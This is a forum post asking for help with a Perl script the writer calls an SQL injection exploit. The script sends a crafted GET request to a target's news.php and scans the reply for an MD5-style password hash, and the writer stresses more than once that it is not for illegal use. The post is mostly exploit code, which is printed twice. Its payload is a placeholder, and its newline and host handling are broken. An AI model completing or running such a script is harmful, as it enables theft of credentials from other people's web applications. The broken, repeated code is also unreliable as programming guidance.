Goodevening all . I need some help with a perl script . This is a collage project . It's a perl script for a sql exploit.. It's only for educational purposes and as a project ..
here is the code:
#!/usr/bin/perl
use IO::Socket;
$server = $ARGV[0];
$path = $ARGV[1];
$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "\n+ Connection failed...\n";
$injection= "$path/news.php?id=SQL";
print $sock "GET $injection HTTP/1.1n";
print $sock "Accept: */*n";
print $sock "User-Agent: Hackern";
print $sock "Host: $hostn";
print $sock "Connection: closenn";
while($answer = <$sock>) {
if ($answer =~ /([0-9a-f]{32})/) {
print "]+[ Found! The hash is: $1n";
exit(); }
else {
print "Could not find hash!";
}
}
#END
The problem is that it does not return any results . .it connects but nothing is returned . Is it the while statment ?? Please help me
Again i can not stress enough . I am not using this for illegal purposes . it's simply a project ..
Thank you
~DK~
here is the code:
#!/usr/bin/perl
use IO::Socket;
$server = $ARGV[0];
$path = $ARGV[1];
$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "\n+ Connection failed...\n";
$injection= "$path/news.php?id=SQL";
print $sock "GET $injection HTTP/1.1n";
print $sock "Accept: */*n";
print $sock "User-Agent: Hackern";
print $sock "Host: $hostn";
print $sock "Connection: closenn";
while($answer = <$sock>) {
if ($answer =~ /([0-9a-f]{32})/) {
print "]+[ Found! The hash is: $1n";
exit(); }
else {
print "Could not find hash!";
}
}
#END
The problem is that it does not return any results . .it connects but nothing is returned . Is it the while statment ?? Please help me
Again i can not stress enough . I am not using this for illegal purposes . it's simply a project ..
Thank you
~DK~